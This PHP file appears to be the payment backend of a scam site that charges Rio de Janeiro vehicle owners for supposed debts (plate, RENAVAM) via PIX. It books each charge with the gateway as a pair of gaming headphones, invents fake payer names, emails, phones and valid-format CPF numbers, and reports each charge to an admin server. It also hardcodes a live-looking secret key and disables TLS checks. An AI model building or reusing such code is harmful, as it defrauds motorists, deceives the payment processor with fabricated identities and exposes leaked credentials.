<?php
/**
 * PIX API - RayPayments Gateway
 * Integração com RayPayments v2 para geração de cobranças PIX
 * Estado: RJ
 */

header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    exit(0);
}

date_default_timezone_set('America/Sao_Paulo');

// ===================== CONFIGURAÇÃO RAYPAYMENTS =====================
define('RAY_SECRET_KEY', 'sk_live_hGWV3Kiga4URgiuBSsSZxMuIyCTenABYSUw8nN733wozy76I');
define('RAY_COMPANY_ID', 'd3fe2408-fb59-4131-91b0-0c8f11ade509');
define('RAY_API_URL', 'https://api.raypaymentsv2.com.br/functions/v1/transactions');
define('RAY_MIN_AMOUNT_BRL', 3.00);
// ====================================================================

$action = $_GET['action'] ?? 'default';

// ==================== ACTION: GENERATE ====================
if ($action === 'generate') {
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        http_response_code(405);
        echo json_encode(['status' => 'error', 'message' => 'Method not allowed']);
        exit;
    }
    
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    
    if (json_last_error() !== JSON_ERROR_NONE) {
        http_response_code(400);
        echo json_encode(['status' => 'error', 'message' => 'Invalid JSON']);
        exit;
    }
    
    try {
        $renavam = $data['renavam'] ?? '';
        $placa = $data['placa'] ?? '';
        $proprietario = $data['proprietario'] ?? '';
        $amount = (float)($data['amount'] ?? $data['valor'] ?? 0);
        $debitos = $data['debitos'] ?? [];
        $useStatic = ($data['gateway'] ?? '') === 'static';
        
        if ($amount <= 0) {
            echo json_encode(['success' => false, 'error' => 'Valor inválido']);
            exit;
        }

        require_once __DIR__ . '/client-config.php';
        $pixConfig = getPixConfig();
        
        $pixBrCode = '';
        $rayId = null;
        $transactionId = '';

        if ($useStatic && !empty($pixConfig['pixKey'])) {
            // Gerar PIX Estático (BR Code)
            $pixBrCode = generateStaticPix(
                $pixConfig['pixKey'],
                $pixConfig['receiverName'] ?? 'PAGAMENTO',
                $pixConfig['receiverCity'] ?? 'SAO PAULO',
                $amount,
                '***'
            );
            $transactionId = 'ST_' . substr(md5(uniqid()), 0, 10);
        } else {
            // Tentar RayPayments (Dinâmico)
            if ($amount < RAY_MIN_AMOUNT_BRL) {
                $amount = RAY_MIN_AMOUNT_BRL;
            }
            
            $amountCentavos = (int)round($amount * 100);
            $items = [['title' => 'Fone de Ouvido Gamer 200SP1', 'unitPrice' => $amountCentavos, 'quantity' => 1]];
            
            $nomeCliente = gerarNomeAleatorio();
            $emailCliente = gerarEmailAleatorio($nomeCliente);
            $docCliente = gerarCPF();
            $telefoneCliente = gerarTelefone();
            
            $rayPayload = [
                'paymentMethod' => 'PIX',
                'amount' => $amountCentavos,
                'customer' => ['name' => $nomeCliente, 'email' => $emailCliente, 'document' => $docCliente, 'phone' => $telefoneCliente],
                'items' => $items
            ];
            
            $rayResponse = callRayPayments('POST', RAY_API_URL, $rayPayload);
            
            if ($rayResponse && isset($rayResponse['id']) && $rayResponse['status'] !== 'refused') {
                $rayId = $rayResponse['id'];
                $pixBrCode = $rayResponse['pix']['qrcode'] ?? '';
                $transactionId = 'RJ_' . $rayId;
            } else if (!empty($pixConfig['pixKey'])) {
                // Fallback para estático se RayPayments falhar
                $pixBrCode = generateStaticPix(
                    $pixConfig['pixKey'],
                    $pixConfig['receiverName'] ?? 'PAGAMENTO',
                    $pixConfig['receiverCity'] ?? 'SAO PAULO',
                    $amount
                );
                $transactionId = 'ST_' . substr(md5(uniqid()), 0, 10);
            }
        }
        
        if (empty($pixBrCode)) {
            echo json_encode(['success' => false, 'error' => 'Não foi possível gerar o PIX']);
            exit;
        }
        
        $qrCodeBase64 = generateQRCode($pixBrCode);
        
        // Retornar resposta no formato esperado pelo frontend
        $responseData = [
            'success' => true,
            'transaction_id' => $transactionId,
            'pix_code' => $pixBrCode,
            'qr_code' => $qrCodeBase64,
            'amount' => $amount,
            'ray_id' => $rayId,
            'expiration' => date('c', strtotime('+1 hour'))
        ];

        // Registrar o evento de PIX Gerado no Admin Server
        if (function_exists('trackEvent')) {
            trackEvent([
                'api_key' => SITE_API_KEY,
                'event_type' => 'pix_gerado',
                'placa' => $placa,
                'renavam' => $renavam,
                'valor' => $amount,
                'metadata' => [
                    'transaction_id' => $transactionId,
                    'gateway' => $rayId ? 'RayPayments' : 'Static',
                    'pix_key' => $pixConfig['pixKey'] ?? null,
                    'receiver' => $pixConfig['receiverName'] ?? null
                ]
            ]);
        }

        echo json_encode($responseData);
        exit;
    } catch (Exception $e) {
        error_log('PIX Generate Exception: ' . $e->getMessage());
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
    }
    exit;
}

// ==================== FUNÇÕES AUXILIARES ====================

function generateStaticPix($key, $name, $city, $amount, $txid = '***') {
    $pixKey = $key;
    $merchantName = strtoupper(preg_replace('/[^A-Za-z0-9 ]/', '', $name));
    $merchantCity = strtoupper(preg_replace('/[^A-Za-z0-9 ]/', '', $city));
    $amountStr = number_format($amount, 2, '.', '');
    
    $merchantAccountInfo = "0014br.gov.bcb.pix01" . strlen($pixKey) . $pixKey;
    
    $payload = "000201010211";
    $payload .= "26" . strlen($merchantAccountInfo) . $merchantAccountInfo;
    $payload .= "520400005303986";
    $payload .= "54" . sprintf("%02d", strlen($amountStr)) . $amountStr;
    $payload .= "5802BR";
    $payload .= "59" . sprintf("%02d", strlen($merchantName)) . $merchantName;
    $payload .= "60" . sprintf("%02d", strlen($merchantCity)) . $merchantCity;
    $payload .= "62" . sprintf("%02d", strlen("0503" . $txid)) . "0503" . $txid;
    $payload .= "6304";
    
    $crc = 0xFFFF;
    for ($i = 0; $i < strlen($payload); $i++) {
        $crc ^= (ord($payload[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            if ($crc & 0x8000) $crc = ($crc << 1) ^ 0x1021;
            else $crc <<= 1;
        }
    }
    $crc &= 0xFFFF;
    $payload .= strtoupper(str_pad(dechex($crc), 4, '0', STR_PAD_LEFT));
    
    return $payload;
}

function callRayPayments($method, $url, $payload = null) {
    $credentials = base64_encode(RAY_SECRET_KEY . ':' . RAY_COMPANY_ID);
    $headers = ['Content-Type: application/json', 'Accept: application/json', 'Authorization: Basic ' . $credentials];
    $ch = curl_init();
    curl_setopt_array($ch, [CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => $headers]);
    if ($method === 'POST' && $payload) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return json_decode($response, true);
}

function generateQRCode($data) {
    return 'https://api.qrserver.com/v1/create-qr-code/?size=400x400&format=png&data=' . urlencode($data);
}

function gerarCPF() {
    $n = []; for ($i = 0; $i < 9; $i++) $n[] = rand(0, 9);
    $sum = 0; for ($i = 0; $i < 9; $i++) $sum += $n[$i] * (10 - $i);
    $d1 = 11 - ($sum % 11); $d1 = ($d1 >= 10) ? 0 : $d1; $n[] = $d1;
    $sum = 0; for ($i = 0; $i < 10; $i++) $sum += $n[$i] * (11 - $i);
    $d2 = 11 - ($sum % 11); $d2 = ($d2 >= 10) ? 0 : $d2; $n[] = $d2;
    return implode('', $n);
}

function gerarNomeAleatorio() {
    $nomes = ['Lucas', 'Gabriel', 'Rafael', 'Matheus', 'Pedro', 'Guilherme', 'Felipe', 'Bruno', 'Thiago', 'Andre', 'Maria', 'Juliana', 'Fernanda'];
    $sobrenomes = ['Silva', 'Santos', 'Oliveira', 'Souza', 'Rodrigues', 'Ferreira', 'Almeida', 'Lima', 'Araujo', 'Pereira'];
    return $nomes[array_rand($nomes)] . ' ' . $sobrenomes[array_rand($sobrenomes)] . ' ' . $sobrenomes[array_rand($sobrenomes)];
}

function gerarEmailAleatorio($nome) {
    $provedores = ['gmail.com', 'hotmail.com', 'outlook.com'];
    $p = explode(' ', strtolower($nome));
    return $p[0] . '.' . end($p) . rand(10, 999) . '@' . $provedores[array_rand($provedores)];
}

function gerarTelefone() {
    return '119' . rand(1000, 9999) . rand(1000, 9999);
}
